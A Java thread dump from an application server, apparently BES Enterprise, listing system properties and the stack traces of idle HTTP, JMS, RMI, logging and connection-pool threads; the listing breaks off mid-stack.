javax.security.jacc.PolicyConfigurationFactory.provider: com.bes.enterprise.ejb.core.security.JaccProvider$Factory
|
||||||
|
java.class.version: 61.0
|
||||||
|
com.bes.enterprise.log.outAndErrNotRedirect: false
|
||||||
|
|
||||||
|
===========================================
|
||||||
|
|
||||||
|
ThreadStacks:
|
||||||
|
"KeepAliveTimer" #53 daemon [TIMED_WAITING] on java.util.TaskQueue@5c197b53
|
||||||
|
java.lang.Thread.State: TIMED_WAITING
|
||||||
|
at [email protected]/java.lang.Object.wait(Native Method)
|
||||||
|
at [email protected]/java.util.TimerThread.mainLoop(Timer.java:563)
|
||||||
|
at [email protected]/java.util.TimerThread.run(Timer.java:516)
|
||||||
|
|
||||||
|
"Spark_2" #82 [TIMED_WAITING] on com.bes.ejb.spark.tcp.threadpool.WorkQueueImpl@87f8d44
|
||||||
|
java.lang.Thread.State: TIMED_WAITING
|
||||||
|
at [email protected]/java.lang.Object.wait(Native Method)
|
||||||
|
at com.bes.ejb.spark.tcp.threadpool.WorkQueueImpl.getTask(WorkQueueImpl.java:202)
|
||||||
|
at com.bes.ejb.spark.tcp.threadpool.WorkThreadImpl.run(WorkThreadImpl.java:59)
|
||||||
|
|
||||||
|
"main" #1 [WAITING] on com.bes.enterprise.server.builder.BesWebModule@5b9112b
|
||||||
|
java.lang.Thread.State: WAITING
|
||||||
|
at [email protected]/java.lang.Object.wait(Native Method)
|
||||||
|
at [email protected]/java.lang.Object.wait(Object.java:338)
|
||||||
|
at com.bes.enterprise.server.builder.BesWebModule.await(BesWebModule.java:285)
|
||||||
|
at com.bes.enterprise.server.builder.BesWebModule.awaitForShutdown(BesWebModule.java:250)
|
||||||
|
at com.bes.enterprise.server.builder.BesWebModule.start(BesWebModule.java:241)
|
||||||
|
at [email protected]/jdk.internal.reflect.NativeMethodAccessorImpl.invoke0(Native Method)
|
||||||
|
at [email protected]/jdk.internal.reflect.NativeMethodAccessorImpl.invoke(NativeMethodAccessorImpl.java:77)
|
||||||
|
at [email protected]/jdk.internal.reflect.DelegatingMethodAccessorImpl.invoke(DelegatingMethodAccessorImpl.java:43)
|
||||||
|
at [email protected]/java.lang.reflect.Method.invoke(Method.java:569)
|
||||||
|
at app//com.bes.enterprise.appserver.startup.Bootstrap.start(Bootstrap.java:510)
|
||||||
|
at app//com.bes.enterprise.appserver.startup.Bootstrap.main(Bootstrap.java:641)
|
||||||
|
at app//com.bes.enterprise.startup.ASMain.main(ASMain.java:37)
|
||||||
|
|
||||||
|
"jmsra-WorkerThread-1" #48 daemon [WAITING] on java.util.concurrent.locks.AbstractQueuedSynchronizer$ConditionObject@66781f39
|
||||||
|
java.lang.Thread.State: WAITING
|
||||||
|
at [email protected]/jdk.internal.misc.Unsafe.park(Native Method)
|
||||||
|
at [email protected]/java.util.concurrent.locks.LockSupport.park(LockSupport.java:341)
|
||||||
|
at [email protected]/java.util.concurrent.locks.AbstractQueuedSynchronizer$ConditionNode.block(AbstractQueuedSynchronizer.java:506)
|
||||||
|
at [email protected]/java.util.concurrent.ForkJoinPool.unmanagedBlock(ForkJoinPool.java:3465)
|
||||||
|
at [email protected]/java.util.concurrent.ForkJoinPool.managedBlock(ForkJoinPool.java:3436)
|
||||||
|
at [email protected]/java.util.concurrent.locks.AbstractQueuedSynchronizer$ConditionObject.await(AbstractQueuedSynchronizer.java:1630)
|
||||||
|
at [email protected]/java.util.concurrent.LinkedBlockingQueue.take(LinkedBlockingQueue.java:435)
|
||||||
|
at com.bes.enterprise.web.util.threads.WorkQueue.take(WorkQueue.java:141)
|
||||||
|
at com.bes.enterprise.web.util.threads.WorkQueue.take(WorkQueue.java:29)
|
||||||
|
at com.bes.enterprise.web.util.threads.ThreadPoolExecutor.getTask(ThreadPoolExecutor.java:1116)
|
||||||
|
at com.bes.enterprise.web.util.threads.ThreadPoolExecutor.runWorker(ThreadPoolExecutor.java:1178)
|
||||||
|
at com.bes.enterprise.web.util.threads.ThreadPoolExecutor$Worker.run(ThreadPoolExecutor.java:651)
|
||||||
|
at com.bes.enterprise.web.util.threads.WorkThread$WrappingRunnable.run(WorkThread.java:60)
|
||||||
|
at [email protected]/java.lang.Thread.run(Thread.java:840)
|
||||||
|
|
||||||
|
"Spark-Selector" #79 [RUNNABLE]
|
||||||
|
java.lang.Thread.State: RUNNABLE
|
||||||
|
at [email protected]/sun.nio.ch.EPoll.wait(Native Method)
|
||||||
|
at [email protected]/sun.nio.ch.EPollSelectorImpl.doSelect(EPollSelectorImpl.java:118)
|
||||||
|
at [email protected]/sun.nio.ch.SelectorImpl.lockAndDoSelect(SelectorImpl.java:129)
|
||||||
|
at [email protected]/sun.nio.ch.SelectorImpl.select(SelectorImpl.java:141)
|
||||||
|
at com.bes.ejb.spark.tcp.transport.SelectorThread.c(SelectorThread.java:289)
|
||||||
|
at com.bes.ejb.spark.tcp.transport.SelectorThread.startEndpoint(SelectorThread.java:206)
|
||||||
|
at com.bes.ejb.spark.tcp.transport.AcceptorThread.run(AcceptorThread.java:508)
|
||||||
|
|
||||||
|
"AsyncLoggerDisruptor-1" #18 daemon [TIMED_WAITING] on java.lang.Object@71ac2346
|
||||||
|
java.lang.Thread.State: TIMED_WAITING
|
||||||
|
at [email protected]/java.lang.Object.wait(Native Method)
|
||||||
|
at [email protected]/java.lang.Object.wait(Object.java:472)
|
||||||
|
at app//com.bes.enterprise.base.disruptor.util.Util.awaitNanos(Util.java:132)
|
||||||
|
at app//com.bes.enterprise.base.disruptor.TimeoutBlockingWaitStrategy.waitFor(TimeoutBlockingWaitStrategy.java:37)
|
||||||
|
at app//com.bes.enterprise.base.disruptor.ProcessingSequenceBarrier.waitFor(ProcessingSequenceBarrier.java:50)
|
||||||
|
at app//com.bes.enterprise.base.disruptor.BatchEventProcessor.processEvents(BatchEventProcessor.java:137)
|
||||||
|
at app//com.bes.enterprise.base.disruptor.BatchEventProcessor.run(BatchEventProcessor.java:113)
|
||||||
|
at [email protected]/java.lang.Thread.run(Thread.java:840)
|
||||||
|
|
||||||
|
"jmsra-WorkerThread-4" #51 daemon [WAITING] on java.util.concurrent.locks.AbstractQueuedSynchronizer$ConditionObject@66781f39
|
||||||
|
java.lang.Thread.State: WAITING
|
||||||
|
at [email protected]/jdk.internal.misc.Unsafe.park(Native Method)
|
||||||
|
at [email protected]/java.util.concurrent.locks.LockSupport.park(LockSupport.java:341)
|
||||||
|
at [email protected]/java.util.concurrent.locks.AbstractQueuedSynchronizer$ConditionNode.block(AbstractQueuedSynchronizer.java:506)
|
||||||
|
at [email protected]/java.util.concurrent.ForkJoinPool.unmanagedBlock(ForkJoinPool.java:3465)
|
||||||
|
at [email protected]/java.util.concurrent.ForkJoinPool.managedBlock(ForkJoinPool.java:3436)
|
||||||
|
at [email protected]/java.util.concurrent.locks.AbstractQueuedSynchronizer$ConditionObject.await(AbstractQueuedSynchronizer.java:1630)
|
||||||
|
at [email protected]/java.util.concurrent.LinkedBlockingQueue.take(LinkedBlockingQueue.java:435)
|
||||||
|
at com.bes.enterprise.web.util.threads.WorkQueue.take(WorkQueue.java:141)
|
||||||
|
at com.bes.enterprise.web.util.threads.WorkQueue.take(WorkQueue.java:29)
|
||||||
|
at com.bes.enterprise.web.util.threads.ThreadPoolExecutor.getTask(ThreadPoolExecutor.java:1116)
|
||||||
|
at com.bes.enterprise.web.util.threads.ThreadPoolExecutor.runWorker(ThreadPoolExecutor.java:1178)
|
||||||
|
at com.bes.enterprise.web.util.threads.ThreadPoolExecutor$Worker.run(ThreadPoolExecutor.java:651)
|
||||||
|
at com.bes.enterprise.web.util.threads.WorkThread$WrappingRunnable.run(WorkThread.java:60)
|
||||||
|
at [email protected]/java.lang.Thread.run(Thread.java:840)
|
||||||
|
|
||||||
|
"AppServer-utility-1" #54 [WAITING] on java.util.concurrent.locks.AbstractQueuedSynchronizer$ConditionObject@5cd859a
|
||||||
|
java.lang.Thread.State: WAITING
|
||||||
|
at [email protected]/jdk.internal.misc.Unsafe.park(Native Method)
|
||||||
|
at [email protected]/java.util.concurrent.locks.LockSupport.park(LockSupport.java:341)
|
||||||
|
at [email protected]/java.util.concurrent.locks.AbstractQueuedSynchronizer$ConditionNode.block(AbstractQueuedSynchronizer.java:506)
|
||||||
|
at [email protected]/java.util.concurrent.ForkJoinPool.unmanagedBlock(ForkJoinPool.java:3465)
|
||||||
|
at [email protected]/java.util.concurrent.ForkJoinPool.managedBlock(ForkJoinPool.java:3436)
|
||||||
|
at [email protected]/java.util.concurrent.locks.AbstractQueuedSynchronizer$ConditionObject.await(AbstractQueuedSynchronizer.java:1630)
|
||||||
|
at [email protected]/java.util.concurrent.ScheduledThreadPoolExecutor$DelayedWorkQueue.take(ScheduledThreadPoolExecutor.java:1177)
|
||||||
|
at [email protected]/java.util.concurrent.ScheduledThreadPoolExecutor$DelayedWorkQueue.take(ScheduledThreadPoolExecutor.java:899)
|
||||||
|
at [email protected]/java.util.concurrent.ThreadPoolExecutor.getTask(ThreadPoolExecutor.java:1062)
|
||||||
|
at [email protected]/java.util.concurrent.ThreadPoolExecutor.runWorker(ThreadPoolExecutor.java:1122)
|
||||||
|
at [email protected]/java.util.concurrent.ThreadPoolExecutor$Worker.run(ThreadPoolExecutor.java:635)
|
||||||
|
at com.bes.enterprise.web.util.threads.WorkThread$WrappingRunnable.run(WorkThread.java:60)
|
||||||
|
at [email protected]/java.lang.Thread.run(Thread.java:840)
|
||||||
|
|
||||||
|
"HSQLDB Timer @24f4bc74" #76 daemon [TIMED_WAITING] on org.hsqldb.lib.HsqlTimer$TaskQueue@48b0ec41
|
||||||
|
java.lang.Thread.State: TIMED_WAITING
|
||||||
|
at [email protected]/java.lang.Object.wait(Native Method)
|
||||||
|
at org.hsqldb.lib.HsqlTimer$TaskQueue.park(Unknown Source)
|
||||||
|
at org.hsqldb.lib.HsqlTimer.nextTask(Unknown Source)
|
||||||
|
at org.hsqldb.lib.HsqlTimer$TaskRunner.run(Unknown Source)
|
||||||
|
at [email protected]/java.lang.Thread.run(Thread.java:840)
|
||||||
|
|
||||||
|
"httpWorkerThread-8080-4" #63 daemon [WAITING] on java.util.concurrent.locks.AbstractQueuedSynchronizer$ConditionObject@6e17a3b9
|
||||||
|
java.lang.Thread.State: WAITING
|
||||||
|
at [email protected]/jdk.internal.misc.Unsafe.park(Native Method)
|
||||||
|
at [email protected]/java.util.concurrent.locks.LockSupport.park(LockSupport.java:341)
|
||||||
|
at [email protected]/java.util.concurrent.locks.AbstractQueuedSynchronizer$ConditionNode.block(AbstractQueuedSynchronizer.java:506)
|
||||||
|
at [email protected]/java.util.concurrent.ForkJoinPool.unmanagedBlock(ForkJoinPool.java:3465)
|
||||||
|
at [email protected]/java.util.concurrent.ForkJoinPool.managedBlock(ForkJoinPool.java:3436)
|
||||||
|
at [email protected]/java.util.concurrent.locks.AbstractQueuedSynchronizer$ConditionObject.await(AbstractQueuedSynchronizer.java:1630)
|
||||||
|
at [email protected]/java.util.concurrent.LinkedBlockingQueue.take(LinkedBlockingQueue.java:435)
|
||||||
|
at com.bes.enterprise.web.util.threads.WorkQueue.take(WorkQueue.java:141)
|
||||||
|
at com.bes.enterprise.web.util.threads.WorkQueue.take(WorkQueue.java:29)
|
||||||
|
at com.bes.enterprise.web.util.threads.ThreadPoolExecutor.getTask(ThreadPoolExecutor.java:1116)
|
||||||
|
at com.bes.enterprise.web.util.threads.ThreadPoolExecutor.runWorker(ThreadPoolExecutor.java:1178)
|
||||||
|
at com.bes.enterprise.web.util.threads.ThreadPoolExecutor$Worker.run(ThreadPoolExecutor.java:651)
|
||||||
|
at com.bes.enterprise.web.util.threads.WorkThread$WrappingRunnable.run(WorkThread.java:60)
|
||||||
|
at [email protected]/java.lang.Thread.run(Thread.java:840)
|
||||||
|
|
||||||
|
"httpWorkerThread-8080-8" #67 daemon [WAITING] on java.util.concurrent.locks.AbstractQueuedSynchronizer$ConditionObject@6e17a3b9
|
||||||
|
java.lang.Thread.State: WAITING
|
||||||
|
at [email protected]/jdk.internal.misc.Unsafe.park(Native Method)
|
||||||
|
at [email protected]/java.util.concurrent.locks.LockSupport.park(LockSupport.java:341)
|
||||||
|
at [email protected]/java.util.concurrent.locks.AbstractQueuedSynchronizer$ConditionNode.block(AbstractQueuedSynchronizer.java:506)
|
||||||
|
at [email protected]/java.util.concurrent.ForkJoinPool.unmanagedBlock(ForkJoinPool.java:3465)
|
||||||
|
at [email protected]/java.util.concurrent.ForkJoinPool.managedBlock(ForkJoinPool.java:3436)
|
||||||
|
at [email protected]/java.util.concurrent.locks.AbstractQueuedSynchronizer$ConditionObject.await(AbstractQueuedSynchronizer.java:1630)
|
||||||
|
at [email protected]/java.util.concurrent.LinkedBlockingQueue.take(LinkedBlockingQueue.java:435)
|
||||||
|
at com.bes.enterprise.web.util.threads.WorkQueue.take(WorkQueue.java:141)
|
||||||
|
at com.bes.enterprise.web.util.threads.WorkQueue.take(WorkQueue.java:29)
|
||||||
|
at com.bes.enterprise.web.util.threads.ThreadPoolExecutor.getTask(ThreadPoolExecutor.java:1116)
|
||||||
|
at com.bes.enterprise.web.util.threads.ThreadPoolExecutor.runWorker(ThreadPoolExecutor.java:1178)
|
||||||
|
at com.bes.enterprise.web.util.threads.ThreadPoolExecutor$Worker.run(ThreadPoolExecutor.java:651)
|
||||||
|
at com.bes.enterprise.web.util.threads.WorkThread$WrappingRunnable.run(WorkThread.java:60)
|
||||||
|
at [email protected]/java.lang.Thread.run(Thread.java:840)
|
||||||
|
|
||||||
|
"httpWorkerThread-1900-1" #55 daemon [WAITING] on java.util.concurrent.locks.AbstractQueuedSynchronizer$ConditionObject@7e311b2e
|
||||||
|
java.lang.Thread.State: WAITING
|
||||||
|
at [email protected]/jdk.internal.misc.Unsafe.park(Native Method)
|
||||||
|
at [email protected]/java.util.concurrent.locks.LockSupport.park(LockSupport.java:341)
|
||||||
|
at [email protected]/java.util.concurrent.locks.AbstractQueuedSynchronizer$ConditionNode.block(AbstractQueuedSynchronizer.java:506)
|
||||||
|
at [email protected]/java.util.concurrent.ForkJoinPool.unmanagedBlock(ForkJoinPool.java:3465)
|
||||||
|
at [email protected]/java.util.concurrent.ForkJoinPool.managedBlock(ForkJoinPool.java:3436)
|
||||||
|
at [email protected]/java.util.concurrent.locks.AbstractQueuedSynchronizer$ConditionObject.await(AbstractQueuedSynchronizer.java:1630)
|
||||||
|
at [email protected]/java.util.concurrent.LinkedBlockingQueue.take(LinkedBlockingQueue.java:435)
|
||||||
|
at com.bes.enterprise.web.util.threads.WorkQueue.take(WorkQueue.java:141)
|
||||||
|
at com.bes.enterprise.web.util.threads.WorkQueue.take(WorkQueue.java:29)
|
||||||
|
at com.bes.enterprise.web.util.threads.ThreadPoolExecutor.getTask(ThreadPoolExecutor.java:1116)
|
||||||
|
at com.bes.enterprise.web.util.threads.ThreadPoolExecutor.runWorker(ThreadPoolExecutor.java:1178)
|
||||||
|
at com.bes.enterprise.web.util.threads.ThreadPoolExecutor$Worker.run(ThreadPoolExecutor.java:651)
|
||||||
|
at com.bes.enterprise.web.util.threads.WorkThread$WrappingRunnable.run(WorkThread.java:60)
|
||||||
|
at [email protected]/java.lang.Thread.run(Thread.java:840)
|
||||||
|
|
||||||
|
"FlushManager" #46 daemon [TIMED_WAITING]
|
||||||
|
java.lang.Thread.State: TIMED_WAITING
|
||||||
|
at [email protected]/java.lang.Thread.sleep(Native Method)
|
||||||
|
at com.bes.org.objectweb.howl.log.LogBufferManager$FlushManager.run(LogBufferManager.java:1230)
|
||||||
|
|
||||||
|
"RMI GC Daemon" #90 daemon [TIMED_WAITING] on sun.rmi.transport.GC$LatencyLock@1739a027
|
||||||
|
java.lang.Thread.State: TIMED_WAITING
|
||||||
|
at [email protected]/java.lang.Object.wait(Native Method)
|
||||||
|
at [email protected]/sun.rmi.transport.GC$Daemon.run(GC.java:127)
|
||||||
|
at [email protected]/java.lang.Thread.run(Thread.java:840)
|
||||||
|
at [email protected]/jdk.internal.misc.InnocuousThread.run(InnocuousThread.java:162)
|
||||||
|
|
||||||
|
"Stateful cache" #52 daemon [TIMED_WAITING] on java.util.concurrent.locks.AbstractQueuedSynchronizer$ConditionObject@58a48465
|
||||||
|
java.lang.Thread.State: TIMED_WAITING
|
||||||
|
at [email protected]/jdk.internal.misc.Unsafe.park(Native Method)
|
||||||
|
at [email protected]/java.util.concurrent.locks.LockSupport.parkNanos(LockSupport.java:252)
|
||||||
|
at [email protected]/java.util.concurrent.locks.AbstractQueuedSynchronizer$ConditionObject.awaitNanos(AbstractQueuedSynchronizer.java:1679)
|
||||||
|
at [email protected]/java.util.concurrent.ScheduledThreadPoolExecutor$DelayedWorkQueue.take(ScheduledThreadPoolExecutor.java:1182)
|
||||||
|
at [email protected]/java.util.concurrent.ScheduledThreadPoolExecutor$DelayedWorkQueue.take(ScheduledThreadPoolExecutor.java:899)
|
||||||
|
at [email protected]/java.util.concurrent.ThreadPoolExecutor.getTask(ThreadPoolExecutor.java:1062)
|
||||||
|
at [email protected]/java.util.concurrent.ThreadPoolExecutor.runWorker(ThreadPoolExecutor.java:1122)
|
||||||
|
at [email protected]/java.util.concurrent.ThreadPoolExecutor$Worker.run(ThreadPoolExecutor.java:635)
|
||||||
|
at [email protected]/java.lang.Thread.run(Thread.java:840)
|
||||||
|
|
||||||
|
"Connection-Pool-Create-1797369452" #75 daemon [WAITING] on java.util.concurrent.locks.AbstractQueuedSynchronizer$ConditionObject@bfdfea3
|
||||||
|
java.lang.Thread.State: WAITING
|
||||||
|
at [email protected]/jdk.internal.misc.Unsafe.park(Native Method)
|
||||||
|
at [email protected]/java.util.concurrent.locks.LockSupport.park(LockSupport.java:341)
|
||||||
|
at [email protected]/java.util.concurrent.locks.AbstractQueuedSynchronizer$ConditionNode.block(AbstractQueuedSynchronizer.java:506)
|
||||||
|
at [email protected]/java.util.concurrent.ForkJoinPool.unmanagedBlock(ForkJoinPool.java:3465)
|
||||||
|
at [email protected]/java.util.concurrent.ForkJoinPool.managedBlock(ForkJoinPool.java:3436)
|
||||||
|
at [email protected]/java.util.concurrent.locks.AbstractQueuedSynchronizer$ConditionObject.await(AbstractQueuedSynchronizer.java:1630)
|
||||||
|
at com.bes.enterprise.gjc.pool.impl.GenericObjectPool$CreateConnectionThread.run(GenericObjectPool.java:1628)
|
||||||
|
|
||||||
|
"RMI Reaper" #89 [WAITING] on java.lang.ref.ReferenceQueue$Lock@7de36c99
|
||||||
|
java.lang.Thread.State: WAITING
|
||||||
|
at [email protected]/java.lang.Object.wait(Native Method)
|
||||||
|
at [email protected]/java.lang.ref.ReferenceQueue.remove(ReferenceQueue.java:155)
|
||||||
|
at [email protected]/java.lang.ref.ReferenceQueue.remove(ReferenceQueue.java:176)
|
||||||
|
at [email protected]/sun.rmi.transport.ObjectTable$Reaper.run(ObjectTable.java:352)
|
||||||
|
at [email protected]/java.lang.Thread.run(Thread.java:840)
|
||||||
|
|
||||||
|
"httpWorkerThread-8080-1" #60 daemon [WAITING] on java.util.concurrent.locks.AbstractQueuedSynchronizer$ConditionObject@6e17a3b9
|
||||||
|
java.lang.Thread.State: WAITING
|
||||||
|
at [email protected]/jdk.internal.misc.Unsafe.park(Native Method)
|
||||||
|
at [email protected]/java.util.concurrent.locks.LockSupport.park(LockSupport.java:341)
|
||||||
|
at [email protected]/java.util.concurrent.locks.AbstractQueuedSynchronizer$ConditionNode.block(AbstractQueuedSynchronizer.java:506)
|
||||||
|
at [email protected]/java.util.concurrent.ForkJoinPool.unmanagedBlock(ForkJoinPool.java:3465)
|
||||||
|
at [email protected]/java.util.concurrent.ForkJoinPool.managedBlock(ForkJoinPool.java:3436)
|
||||||
|
at [email protected]/java.util.concurrent.locks.AbstractQueuedSynchronizer$ConditionObject.await(AbstractQueuedSynchronizer.java:1630)
|
||||||
|
at [email protected]/java.util.concurrent.LinkedBlockingQueue.take(LinkedBlockingQueue.java:435)
|
||||||
|
at com.bes.enterprise.web.util.threads.WorkQueue.take(WorkQueue.java:141)
|
||||||
|
at com.bes.enterprise.web.util.threads.WorkQueue.take(WorkQueue.java:29)
|
||||||
|
at com.bes.enterprise.web.util.threads.ThreadPoolExecutor.getTask(ThreadPoolExecutor.java:1116)
|
||||||
|
at com.bes.enterprise.web.util.threads.ThreadPoolExecutor.runWorker(ThreadPoolExecutor.java:1178)
|
||||||
|
at com.bes.enterprise.web.util.threads.ThreadPoolExecutor$Worker.run(ThreadPoolExecutor.java:651)
|
||||||
|
at com.bes.enterprise.web.util.threads.WorkThread$WrappingRunnable.run(WorkThread.java:60)
|
||||||
|
at [email protected]/java.lang.Thread.run(Thread.java:840)
|
||||||
|
|
||||||
|
"SelectorReaderThread-8080-1" #70 daemon [RUNNABLE]
|
||||||
|
java.lang.Thread.State: RUNNABLE
|
||||||
|
at [email protected]/sun.nio.ch.EPoll.wait(Native Method)
|
||||||
|
at [email protected]/sun.nio.ch.EPollSelectorImpl.doSelect(EPollSelectorImpl.java:118)
|
||||||
|
at [email protected]/sun.nio.ch.SelectorImpl.lockAndDoSelect(SelectorImpl.java:129)
|
||||||
|
at [email protected]/sun.nio.ch.SelectorImpl.select(SelectorImpl.java:141)
|
||||||
|
at com.bes.enterprise.web.util.net.NioEndpoint$Poller.run(NioEndpoint.java:873)
|
||||||
|
at [email protected]/java.lang.Thread.run(Thread.java:840)
|
||||||
|
|
||||||
|
"Spark_7" #87 [TIMED_WAITING] on com.bes.ejb.spark.tcp.threadpool.WorkQueueImpl@87f8d44
|
||||||
|
java.lang.Thread.State: TIMED_WAITING
|
||||||
|
at [email protected]/java.lang.Object.wait(Native Method)
|
||||||
|
at com.bes.ejb.spark.tcp.threadpool.WorkQueueImpl.getTask(WorkQueueImpl.java:202)
|
||||||
|
at com.bes.ejb.spark.tcp.threadpool.WorkThreadImpl.run(WorkThreadImpl.java:59)
|
||||||
|
|
||||||
|
"AppServer-utility-2" #58 [TIMED_WAITING] on java.util.concurrent.locks.AbstractQueuedSynchronizer$ConditionObject@5cd859a
|
||||||
|
java.lang.Thread.State: TIMED_WAITING
|
||||||
|
at [email protected]/jdk.internal.misc.Unsafe.park(Native Method)
|
||||||
|
at [email protected]/java.util.concurrent.locks.LockSupport.parkNanos(LockSupport.java:252)
|
||||||
|
at [email protected]/java.util.concurrent.locks.AbstractQueuedSynchronizer$ConditionObject.awaitNanos(AbstractQueuedSynchronizer.java:1679)
|
||||||
|
at [email protected]/java.util.concurrent.ScheduledThreadPoolExecutor$DelayedWorkQueue.take(ScheduledThreadPoolExecutor.java:1182)
|
||||||
|
at [email protected]/java.util.concurrent.ScheduledThreadPoolExecutor$DelayedWorkQueue.take(ScheduledThreadPoolExecutor.java:899)
|
||||||
|
at [email protected]/java.util.concurrent.ThreadPoolExecutor.getTask(ThreadPoolExecutor.java:1062)
|
||||||
|
at [email protected]/java.util.concurrent.ThreadPoolExecutor.runWorker(ThreadPoolExecutor.java:1122)
|
||||||
|
at [email protected]/java.util.concurrent.ThreadPoolExecutor$Worker.run(ThreadPoolExecutor.java:635)
|
||||||
|
at com.bes.enterprise.web.util.threads.WorkThread$WrappingRunnable.run(WorkThread.java:60)
|
||||||
|
at [email protected]/java.lang.Thread.run(Thread.java:840)
|
||||||
|
|
||||||
|
"jmsra-WorkerThread-2" #49 daemon [WAITING] on java.util.concurrent.locks.AbstractQueuedSynchronizer$ConditionObject@66781f39
|
||||||
|
java.lang.Thread.State: WAITING
|
||||||
|
at [email protected]/jdk.internal.misc.Unsafe.park(Native Method)
|
||||||
|
at [email protected]/java.util.concurrent.locks.LockSupport.park(LockSupport.java:341)
|
||||||
|
at [email protected]/java.util.concurrent.locks.AbstractQueuedSynchronizer$ConditionNode.block(AbstractQueuedSynchronizer.java:506)
|
||||||
|
at [email protected]/java.util.concurrent.ForkJoinPool.unmanagedBlock(ForkJoinPool.java:3465)
|
||||||
|
at [email protected]/java.util.concurrent.ForkJoinPool.managedBlock(ForkJoinPool.java:3436)
|
||||||
|
at [email protected]/java.util.concurrent.locks.AbstractQueuedSynchronizer$ConditionObject.await(AbstractQueuedSynchronizer.java:1630)
|
||||||
|
at [email protected]/java.util.concurrent.LinkedBlockingQueue.take(LinkedBlockingQueue.java:435)
|
||||||
|
at com.bes.enterprise.web.util.threads.WorkQueue.take(WorkQueue.java:141)
|
||||||
|
at com.bes.enterprise.web.util.threads.WorkQueue.take(WorkQueue.java:29)
|
||||||
|
at com.bes.enterprise.web.util.threads.ThreadPoolExecutor.getTask(ThreadPoolExecutor.java:1116)
|
||||||
|
at com.bes.enterprise.web.util.threads.ThreadPoolExecutor.runWorker(ThreadPoolExecutor.java:1178)
|
||||||
|
at com.bes.enterprise.web.util.threads.ThreadPoolExecutor$Worker.run(ThreadPoolExecutor.java:651)
|
||||||
|
at com.bes.enterprise.web.util.threads.WorkThread$WrappingRunnable.run(WorkThread.java:60)
|
||||||
|
at [email protected]/java.lang.Thread.run(Thread.java:840)
|
||||||
|
|
||||||
|
"Spark_0" #80 [TIMED_WAITING] on com.bes.ejb.spark.tcp.threadpool.WorkQueueImpl@87f8d44
|
||||||
|
java.lang.Thread.State: TIMED_WAITING
|
||||||
|
at [email protected]/java.lang.Object.wait(Native Method)
|
||||||
|
at com.bes.ejb.spark.tcp.threadpool.WorkQueueImpl.getTask(WorkQueueImpl.java:202)
|
||||||
|
at com.bes.ejb.spark.tcp.threadpool.WorkThreadImpl.run(WorkThreadImpl.java:59)
|
||||||
|
|
||||||
|
"RetryTimer" #47 daemon [WAITING] on java.util.TaskQueue@2781c39a
|
||||||
|
java.lang.Thread.State: WAITING
|
||||||
|
at [email protected]/java.lang.Object.wait(Native Method)
|
||||||
|
at [email protected]/java.lang.Object.wait(Object.java:338)
|
||||||
|
at [email protected]/java.util.TimerThread.mainLoop(Timer.java:537)
|
||||||
|
at [email protected]/java.util.TimerThread.run(Timer.java:516)
|
||||||
|
|
||||||
|
"httpWorkerThread-8080-3" #62 daemon [WAITING] on java.util.concurrent.locks.AbstractQueuedSynchronizer$ConditionObject@6e17a3b9
|
||||||
|
java.lang.Thread.State: WAITING
|
||||||
|
at [email protected]/jdk.internal.misc.Unsafe.park(Native Method)
|
||||||
|
at [email protected]/java.util.concurrent.locks.LockSupport.park(LockSupport.java:341)
|
||||||
|
at [email protected]/java.util.concurrent.locks.AbstractQueuedSynchronizer$ConditionNode.block(AbstractQueuedSynchronizer.java:506)
|
||||||
|
at [email protected]/java.util.concurrent.ForkJoinPool.unmanagedBlock(ForkJoinPool.java:3465)
|
||||||
|
at [email protected]/java.util.concurrent.ForkJoinPool.managedBlock(ForkJoinPool.java:3436)
|
||||||
|
at [email protected]/java.util.concurrent.locks.AbstractQueuedSynchronizer$ConditionObject.await(AbstractQueuedSynchronizer.java:1630)
|
||||||
|
at [email protected]/java.util.concurrent.LinkedBlockingQueue.take(LinkedBlockingQueue.java:435)
|
||||||
|
at com.bes.enterprise.web.util.threads.WorkQueue.take(WorkQueue.java:141)
|
||||||
|
at com.bes.enterprise.web.util.threads.WorkQueue.take(WorkQueue.java:29)
|
||||||
|
at com.bes.enterprise.web.util.threads.ThreadPoolExecutor.getTask(ThreadPoolExecutor.java:1116)
|
||||||
|
at com.bes.enterprise.web.util.threads.ThreadPoolExecutor.runWorker(ThreadPoolExecutor.java:1178)
|
||||||
|
at com.bes.enterprise.web.util.threads.ThreadPoolExecutor$Worker.run(ThreadPoolExecutor.java:651)
|
||||||
|
at com.bes.enterprise.web.util.threads.WorkThread$WrappingRunnable.run(WorkThread.java:60)
|
||||||
|
at [email protected]/java.lang.Thread.run(Thread.java:840)
|
||||||
|
|
||||||
|
"httpWorkerThread-8080-6" #65 daemon [WAITING] on java.util.concurrent.locks.AbstractQueuedSynchronizer$ConditionObject@6e17a3b9
|
||||||
|
java.lang.Thread.State: WAITING
|
||||||
|
at [email protected]/jdk.internal.misc.Unsafe.park(Native Method)
|
||||||
|
at [email protected]/java.util.concurrent.locks.LockSupport.park(LockSupport.java:341)
|
||||||
|
at [email protected]/java.util.concurrent.locks.AbstractQueuedSynchronizer$ConditionNode.block(AbstractQueuedSynchronizer.java:506)
|
||||||
|
at [email protected]/java.util.concurrent.ForkJoinPool.unmanagedBlock(ForkJoinPool.java:3465)
|
||||||
|
at [email protected]/java.util.concurrent.ForkJoinPool.managedBlock(ForkJoinPool.java:3436)
|
||||||
|
at [email protected]/java.util.concurrent.locks.AbstractQueuedSynchronizer$ConditionObject.await(AbstractQueuedSynchronizer.java:1630)
|
||||||
|
at [email protected]/java.util.concurrent.LinkedBlockingQueue.take(LinkedBlockingQueue.java:435)
|
||||||
|
at com.bes.enterprise.web.util.threads.WorkQueue.take(WorkQueue.java:141)
|
||||||
|
at com.bes.enterprise.web.util.threads.WorkQueue.take(WorkQueue.java:29)
|
||||||
|
at com.bes.enterprise.web.util.threads.ThreadPoolExecutor.getTask(ThreadPoolExecutor.java:1116)
|
||||||
|
at com.bes.enterprise.web.util.threads.ThreadPoolExecutor.runWorker(ThreadPoolExecutor.java:1178)
|
||||||
|
at com.bes.enterprise.web.util.threads.ThreadPoolExecutor$Worker.run(ThreadPoolExecutor.java:651)
|
||||||
|
at com.bes.enterprise.web.util.threads.WorkThread$WrappingRunnable.run(WorkThread.java:60)
|
||||||
|
at [email protected]/java.lang.Thread.run(Thread.java:840)
|
||||||
|
|
||||||
|
"httpWorkerThread-1900-3" #57 daemon [WAITING] on java.util.concurrent.locks.AbstractQueuedSynchronizer$ConditionObject@7e311b2e
|
||||||
|
java.lang.Thread.State: WAITING
|
||||||
|
at [email protected]/jdk.internal.misc.Unsafe.park(Native Method)
|
||||||
|
at [email protected]/java.util.concurrent.locks.LockSupport.park(LockSupport.java:341)
|
||||||
|
